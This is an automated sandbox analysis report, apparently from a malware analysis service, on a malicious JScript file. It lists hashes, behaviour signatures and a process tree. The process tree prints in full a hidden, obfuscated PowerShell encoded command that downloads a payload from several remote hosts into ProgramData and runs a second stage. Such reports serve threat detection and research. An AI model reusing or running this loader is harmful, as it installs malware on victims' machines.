Analysis

  • max time kernel
    135s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-05-2023 13:28

General

  • Target

    Lnlmlmmw.js

  • Size

    240KB

  • MD5

    1d3ff4ed747331b584e92a5d57b6acd8

  • SHA1

    333ec83e9242cf227a0d6f3455375d01bc50cf40

  • SHA256

    8c2d1d7b94ee68e286b5d3c8f5df99c4d5ad0ed08267cfbcda66cab20bcd8927

  • SHA512

    056b6bca475eeec780c9c94bf2e0271bbaeb5af03d69aa1c0fb3b02413334fcab7c61f6147e8193ebf08a4452d8be0b20da50250a7848a4bebfb3922f4edd2a3

  • SSDEEP

    1536:mDY/NRvg4paakXIR0xlXfewOaPLfWy46hUHx+zIt5483CCpRhsW+F22SOtcgZaXA:H/NRvg4HOlX2wOjjlNLt8Gmj

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Lnlmlmmw.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4416
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Lnlmlmmw.js" dyspnoealColonialness Alstonine Pickery Shopkeeperism
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4928
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "JAByAGEAZABpAG8AYwBhAHIAYgBvAG4AUgBlAGwAaQB0AGkAZwBhAHQAaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGcAQQBNAGcAQQB1AEEARABFAEEATQBRAEEAMQBBAEMANABBAE0AZwBBADAAQQBEAEUAQQBMAGcAQQAxAEEARABjAEEATwBpAFQAVABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADEAQQBEAGsAQQBMAGcAQQB4AEEARABrAEEATgBnAEEAdQBBAEQARQBBAE0AUQBBADEAQQBDADQAQQBOAFEAQQA1AEEAQQA9AD0ATwBpAFQAVABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATwBBAEEAMQBBAEMANABBAE0AUQBBADMAQQBEAEEAQQBMAGcAQQB5AEEARABNAEEATQB3AEEAPQBPAGkAVABUAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQATQBBAE4AQQBBAHUAQQBEAEkAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAdwBBAEQAQQBBAEwAZwBBADAAQQBEAGcAQQAiADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQA0ADsAJABlAHAAaQBsAG8AZwB1AGUAcwBJAG4AdgBhAGcAaQBuAGEAYgBsAGUAIAA9ACAANQA2ADUAOwAkAFMAbQBhAGMAawBmAHUAbAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcASQBBAGIAdwBCAHUAQQBHAEUAQQBaAHcAQgBvAEEARQBJAEEAYwBnAEIAMQBBAEcAdwBBAGUAUQBCAHAAQQBHAFUAQQBjAHcAQQB1AEEARwBjAEEAWQBRAEIAcwBBAEcAdwBBAFoAUQBCAHkAQQBIAGsAQQByAGkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBGAEEARwA0AEEAWgBBAEIAdgBBAEgASQBBAGMAdwBCAGwAQQBHADAAQQBaAFEAQgB1AEEASABRAEEAVgBBAEIAaABBAEgASQBBAGIAZwBCAHAAQQBIAE0AQQBhAEEAQgBsAEEASABJAEEATABnAEIAaABBAEcAdwBBACIAOwAkAEEAcgBjAHUAbABpAHQAZQBCAHIAYQBjAG8AbgBpAGQAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE8AQQBBAHUAQQBEAEkAQQBNAFEAQQA1AEEAQwA0AEEATQBRAEEAMgBBAEQAZwBBAEwAZwBBAHkAQQBEAEkAQQBOAGcAQQA9AHgAdgBtAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AZwBBAHoAQQBDADQAQQBOAFEAQQB4AEEAQwA0AEEATgBBAEEAegBBAEMANABBAE4AZwBBADUAQQBBAD0APQB4AHYAbQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFEAQQBOAGcAQQB1AEEARABjAEEATgBBAEEAdQBBAEQASQBBAE4AQQBBADIAQQBDADQAQQBNAGcAQQB6AEEARABBAEEAIgA7ACQAZgBlAG4AdABhAG4AeQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAzAEEARABjAEEATABnAEEANQBBAEQARQBBAEwAZwBBADQAQQBEAFkAQQBMAGcAQQB4AEEARABJAEEATQBnAEEAdgBBAEYAWQBBAGIAQQBCAHcAQQBGAFEAQQBMAHcAQgB4AEEARABrAEEATwBBAEIAQwBBAEYAawBBAGIAZwBBADAAQQBBAD0APQBkAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANQBBAEQARQBBAEwAZwBBAHgAQQBEAGsAQQBNAHcAQQB1AEEARABRAEEATQB3AEEAdQBBAEQARQBBAE0AUQBBADUAQQBDADgAQQBkAEEAQgBPAEEARwBZAEEATAB3AEIAUgBBAEUAawBBAFYAUQBCAG8AQQBIAG8AQQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABsAGEAZABsAGUAdwBvAG8AZAAgAGkAbgAgACQAZgBlAG4AdABhAG4AeQBsACAALQBzAHAAbABpAHQAIAAiAGQAIgApACAAewAkAGUAeABvAGcAYQBzAHQAcgBpAGMAVAByAGkAcwBlAGMAdABlAGQAIAA9ACAAIgBhAG4AbgBvAHkAaQBuAGcAbAB5ACIAOwAkAE0AZQByAGUAdAByAGkAYwBlAHMAUwBlAHYAZQByAGkAdABpAGUAcwAgAD0AIAA5ADYANwA7ACQASwBlAHIAYQB0AGkAdABpAHMAVwBhAHIAdwBpAGMAawAgAD0AIAA1ADYAOAA7AHQAcgB5ACAAewAkAEEAZgBmAGwAYQB0AGUAIAA9ACAAIgBwAGEAbgBkAGEAbgBpACIAOwAkAFYAZQByAGUAYwB1AG4AZABuAGUAcwBzAFkAYQByAGQAZQByACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBzAEEARwBVAEEAYwBBAEIAMABBAEcAOABBAGIAUQBCAGwAQQBHADQAQQBhAFEAQgB1AEEARwBjAEEAYQBRAEIAMABBAEcAawBBAGMAdwBCAFUAQQBHAGcAQQBjAGcAQgBsAEEARwBVAEEAWgBBAEIAcABBAEcAMABBAFoAUQBCAHUAQQBIAE0AQQBhAFEAQgB2AEEARwA0AEEAWQBRAEIAcwBBAEcAawBBAGQAQQBCADUAQQBDADQAQQBiAHcAQgB5AEEARwBjAEEAZABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFQAQQBHAHMAQQBaAFEAQgAzAEEARwBVAEEAYwBnAEIAcABBAEcANABBAFoAdwBBAHUAQQBIAEkAQQBkAFEAQgB1AEEAQQA9AD0AZABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEUAQQBPAFEAQQB1AEEARABFAEEATQBBAEEAeABBAEMANABBAE0AZwBBAHcAQQBEAEkAQQBMAGcAQQB4AEEARABZAEEATwBBAEEAPQAiADsAJABVAG4AYwBvAGwAbwByAGEAYgBsAHkATQBlAGwAYQBuAGkAYwBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGwAYQBkAGwAZQB3AG8AbwBkACkAKQA7AGkAdwByACAAJABVAG4AYwBvAGwAbwByAGEAYgBsAHkATQBlAGwAYQBuAGkAYwBzACAALQBPACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAcwBvAG0AZQB3AGEAeQAuAGgAZQBwAHQAYQBnAHkAbgBvAHUAcwBQAHIAZQBvAGIAdgBpAG8AdQBzAG4AZQBzAHMAOwAkAGYAZQB0AG8AcABsAGEAYwBlAG4AdABhAGwAIAA9ACAAIgBEAGUAbgBpAHoAYQB0AGkAbwBuACIAOwAkAFQAeQBwAG8AdABoAGUAcgBlAFMAZQByAHUAbQBhAGwAIAA9ACAAIgBHAGEAcwB0AHIAbwBkAGkAYQBsAHkAcwBpAHMAUwB1AGIAcwB1AHIAZQB0AHkAIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABzAG8AbQBlAHcAYQB5AC4AaABlAHAAdABhAGcAeQBuAG8AdQBzAFAAcgBlAG8AYgB2AGkAbwB1AHMAbgBlAHMAcwApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADEANgA5ADAANwAyACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBjAHcAQgB2AEEARwAwAEEAWgBRAEIAMwBBAEcARQBBAGUAUQBBAHUAQQBHAGcAQQBaAFEAQgB3AEEASABRAEEAWQBRAEIAbgBBAEgAawBBAGIAZwBCAHYAQQBIAFUAQQBjAHcAQgBRAEEASABJAEEAWgBRAEIAdgBBAEcASQBBAGQAZwBCAHAAQQBHADgAQQBkAFEAQgB6AEEARwA0AEEAWgBRAEIAegBBAEgATQBBAEwAQQBCAHcAQQBIAEkAQQBhAFEAQgB1AEEASABRAEEATwB3AEIAVwBBAEgAVQBBAFoAUQBCAEsAQQBGAE0AQQAiADsAJABPAHYAZQByAGMAcgBlAGQAaQB0AEsAZQBlAHAAZQByAGkAbgBnACAAPQAgACIAUwBpAG0AaQBhAG4AaQB0AHkAIgA7AGIAcgBlAGEAawA7AFYAdQBlAEoAUwA7AH0AVgB1AGUASgBTADsAfQAgAGMAYQB0AGMAaAAgAHsAJABIAGUAbABiAGUAaAAgAD0AIAAiAGQAaQBhAGIAYQBzAGUAcwBMAGEAdABlAHIAYQBsAGkAegBlAGQAIgA7ACQASABhAG4AZABzAHAAYQBkAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAEUAQQBMAGcAQQB4AEEARABrAEEATQBBAEEAdQBBAEQARQBBAE4AdwBBAHoAQQBDADQAQQBOAEEAQQAxAEEAQQA9AD0AIgA7ACQAQwBhAG4AdABhAHQAaQBvAG4AIAA9ACAAMwA4ADkAOwB9AH0AJABuAG8AbgBkAGUAZgBlAG4AZABhAG4AdABUAGEAcABlAHMAdABlAHIAIAA9ACAAIgBRAHUAZQBlAG4AcgBvAG8AdABGAHUAbgBuAGUAbABsAGkAbgBnACIAOwAkAFMAZQBtAGkAcwB0AGEAdABlACAAPQAgACIAYQByAHQAaAByAG8AcABvAGQAeQBJAG4AdABlAG4AcwBpAG8AbgBhAGwAIgA7ACQASQBuAHcAYQBsAGwAaQBuAGcAIAA9ACAAOQAxADEAOwA="
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4664

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5kakol3a.tmr.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4664-133-0x0000011FD7D00000-0x0000011FD7D22000-memory.dmp

    Filesize

    136KB

  • memory/4664-143-0x0000011FF03F0000-0x0000011FF0400000-memory.dmp

    Filesize

    64KB

  • memory/4664-144-0x0000011FF03F0000-0x0000011FF0400000-memory.dmp

    Filesize

    64KB

  • memory/4664-145-0x0000011FF03F0000-0x0000011FF0400000-memory.dmp

    Filesize

    64KB

  • memory/4664-146-0x0000011FF03F0000-0x0000011FF0400000-memory.dmp

    Filesize

    64KB

  • memory/4664-147-0x0000011FF03F0000-0x0000011FF0400000-memory.dmp

    Filesize

    64KB

  • memory/4664-148-0x0000011FF03F0000-0x0000011FF0400000-memory.dmp

    Filesize

    64KB